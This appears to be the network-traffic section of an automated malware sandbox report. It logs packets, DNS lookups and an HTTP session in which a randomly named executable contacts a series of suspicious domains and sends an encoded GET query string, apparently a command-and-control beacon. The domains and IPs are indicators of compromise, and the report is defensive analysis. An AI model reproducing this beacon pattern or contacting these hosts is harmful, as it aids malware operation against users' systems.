                                                                                                                                                                              Oct 2, 2024 15:18:18.723525047 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.755891085 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.755918026 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.755929947 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.755939960 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.755951881 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756050110 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.756158113 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756205082 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.756230116 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756243944 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756279945 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.756365061 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756377935 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.756422043 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.757124901 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.757178068 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.757189989 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.757219076 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.757292986 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.757307053 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.757337093 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.758127928 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.758140087 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.758152008 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.758177996 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.758213043 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.758316040 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.758328915 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.758372068 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.758955002 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.759018898 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.759031057 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.759063959 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.844674110 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844702005 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844716072 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844727039 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844739914 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844752073 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844750881 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.844764948 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844777107 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844784021 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.844813108 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844872952 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.844887972 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.844904900 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844918966 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.844948053 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.845010042 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845022917 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845033884 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845069885 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.845138073 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845179081 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.845801115 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845828056 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845839024 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845865965 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.845926046 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.845967054 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.846251965 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846317053 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846329927 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846359968 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.846451998 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846463919 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846474886 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846486092 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.846510887 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.846530914 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.847147942 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847194910 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.847263098 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847275019 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847285986 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847296953 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847316027 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.847340107 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.847403049 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847569942 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.847621918 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.848320007 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848356962 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848390102 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848424911 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.848424911 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848475933 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.848752022 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848787069 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848823071 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.848838091 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.849677086 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.849726915 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.849843979 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.849878073 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.849927902 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933348894 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933387041 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933466911 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933471918 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933506966 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933541059 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933571100 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933574915 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933609962 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933679104 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933684111 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933737993 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933743000 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933754921 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933788061 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933794975 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933823109 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933876991 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933883905 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.933911085 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.933964968 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934010983 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934041977 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934076071 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934092045 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934109926 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934144020 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934154987 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934178114 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934211016 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934218884 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934297085 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934462070 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934494019 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934495926 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934530020 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934539080 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934562922 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934596062 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934607029 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934643030 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934675932 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934690952 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934715033 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934806108 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934838057 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.934880018 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934952021 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.934982061 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.935002089 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.935024023 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.935034037 CEST80497385.39.10.93192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:18.935081959 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.938867092 CEST4973880192.168.2.75.39.10.93
                                                                                                                                                                              Oct 2, 2024 15:18:18.943734884 CEST80497385.39.10.93192.168.2.7

                                                                                                                                                                              UDP Packets

                                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                              Oct 2, 2024 15:16:18.435775042 CEST4932753192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:16:18.626234055 CEST53493271.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:34.462773085 CEST5799653192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:16:34.524662971 CEST53579961.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.039448977 CEST6417453192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:16:48.156878948 CEST53641741.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:01.602305889 CEST4958653192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:17:01.635441065 CEST53495861.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:14.930753946 CEST6387353192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:17:15.692132950 CEST53638731.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:29.071741104 CEST5254853192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:17:29.083153009 CEST53525481.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:42.339271069 CEST5603753192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:17:42.371705055 CEST53560371.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:17:55.586926937 CEST6399953192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:17:56.042643070 CEST53639991.1.1.1192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:18:10.321485996 CEST5260253192.168.2.71.1.1.1
                                                                                                                                                                              Oct 2, 2024 15:18:10.385087013 CEST53526021.1.1.1192.168.2.7

                                                                                                                                                                              DNS Queries

                                                                                                                                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                              Oct 2, 2024 15:16:18.435775042 CEST192.168.2.71.1.1.10x74caStandard query (0)www.ankittrading.storeA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:16:34.462773085 CEST192.168.2.71.1.1.10xaed8Standard query (0)www.notepad.mobiA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:16:48.039448977 CEST192.168.2.71.1.1.10x7170Standard query (0)www.elektromontaze.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:01.602305889 CEST192.168.2.71.1.1.10x828fStandard query (0)www.rtpsilva4d.clickA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:14.930753946 CEST192.168.2.71.1.1.10x5d6cStandard query (0)www.mcse.topA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:29.071741104 CEST192.168.2.71.1.1.10x5674Standard query (0)www.paysom.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:42.339271069 CEST192.168.2.71.1.1.10x5aa7Standard query (0)www.bearableguy.netA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:55.586926937 CEST192.168.2.71.1.1.10x68d4Standard query (0)www.monitoraseg.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:18:10.321485996 CEST192.168.2.71.1.1.10x2ac8Standard query (0)www.spectre.centerA (IP address)IN (0x0001)false

                                                                                                                                                                              DNS Answers

                                                                                                                                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                              Oct 2, 2024 15:16:18.626234055 CEST1.1.1.1192.168.2.70x74caNo error (0)www.ankittrading.storeankittrading.storeCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:16:18.626234055 CEST1.1.1.1192.168.2.70x74caNo error (0)ankittrading.store84.32.84.32A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:16:34.524662971 CEST1.1.1.1192.168.2.70xaed8No error (0)www.notepad.mobi199.59.243.227A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:16:48.156878948 CEST1.1.1.1192.168.2.70x7170No error (0)www.elektromontaze.online37.9.175.163A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:01.635441065 CEST1.1.1.1192.168.2.70x828fNo error (0)www.rtpsilva4d.clickrtpsilva4d.clickCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:01.635441065 CEST1.1.1.1192.168.2.70x828fNo error (0)rtpsilva4d.click67.223.117.169A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:15.692132950 CEST1.1.1.1192.168.2.70x5d6cNo error (0)www.mcse.top154.9.228.56A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:29.083153009 CEST1.1.1.1192.168.2.70x5674No error (0)www.paysom.xyz203.161.41.205A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:42.371705055 CEST1.1.1.1192.168.2.70x5aa7No error (0)www.bearableguy.netbearableguy.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:42.371705055 CEST1.1.1.1192.168.2.70x5aa7No error (0)bearableguy.net3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:42.371705055 CEST1.1.1.1192.168.2.70x5aa7No error (0)bearableguy.net15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:56.042643070 CEST1.1.1.1192.168.2.70x68d4No error (0)www.monitoraseg.onlinemonitoraseg.onlineCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:17:56.042643070 CEST1.1.1.1192.168.2.70x68d4No error (0)monitoraseg.online162.240.81.18A (IP address)IN (0x0001)false
                                                                                                                                                                              Oct 2, 2024 15:18:10.385087013 CEST1.1.1.1192.168.2.70x2ac8No error (0)www.spectre.center5.39.10.93A (IP address)IN (0x0001)false

                                                                                                                                                                              HTTP Request Dependency Graph

                                                                                                                                                                              • www.ankittrading.store
                                                                                                                                                                              • www.notepad.mobi
                                                                                                                                                                              • www.elektromontaze.online
                                                                                                                                                                              • www.rtpsilva4d.click
                                                                                                                                                                              • www.mcse.top
                                                                                                                                                                              • www.paysom.xyz
                                                                                                                                                                              • www.bearableguy.net
                                                                                                                                                                              • www.monitoraseg.online
                                                                                                                                                                              • www.spectre.center

                                                                                                                                                                              HTTP Packets

                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              0192.168.2.74970584.32.84.32806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:18.645672083 CEST512OUTGET /v1m8/?PDnL0H4=uHJ964Jak9lb4YUyfkZQ2xvbBZ+v0uNjDgaNEBQRc8PC25V4G9pb67rGeGfWlSNDdRliNlGk0Q64b1Xgz3nZ+6SvJiIFcUn42OZbRWP1Dzd7lzveO4xPaRnMofxiLb4gmwdLcuxD1TDA&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.ankittrading.store
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:16:19.410176992 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: hcdn
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:19 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 10072
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                              x-hcdn-request-id: 2041d0f482dc6899e40e3f3b4113908f-bos-edge2
                                                                                                                                                                              Expires: Wed, 02 Oct 2024 13:16:18 GMT
                                                                                                                                                                              Cache-Control: no-cache
                                                                                                                                                                              Accept-Ranges: bytes
                                                                                                                                                                              Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
                                                                                                                                                                              Oct 2, 2024 15:16:19.410222054 CEST224INData Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61
                                                                                                                                                                              Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:3
                                                                                                                                                                              Oct 2, 2024 15:16:19.410259008 CEST1236INData Raw: 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 68 33 7b 66 6f 6e 74
                                                                                                                                                                              Data Ascii: 0px;font-weight:600!important;color:#333}h2{font-size:24px;font-weight:600}h3{font-size:22px;font-weight:600;line-height:28px}hr{margin-top:35px;margin-bottom:35px;border:0;border-top:1px solid #bfbebe}ul{list-style-type:none;margin:0;padding:
                                                                                                                                                                              Oct 2, 2024 15:16:19.410291910 CEST1236INData Raw: 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 7d 2e 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 7b 63 6f 6c 6f
                                                                                                                                                                              Data Ascii: align:center}.top-container{display:flex;flex-direction:row}.message-subtitle{color:#2f1c6a;font-weight:700;font-size:24px;line-height:32px;margin-bottom:16px}.message{width:60%;height:auto;padding:40px 0;align-items:baseline;border-radius:5px
                                                                                                                                                                              Oct 2, 2024 15:16:19.410325050 CEST1236INData Raw: 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 34 70 78 20 38 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37
                                                                                                                                                                              Data Ascii: -align:middle;text-align:center;display:inline-block;padding:4px 8px;font-weight:700;border-radius:4px;background-color:#fc5185}@media screen and (max-width:768px){.message{width:100%;padding:35px 0}.container{margin-top:30px}.navbar-links{dis
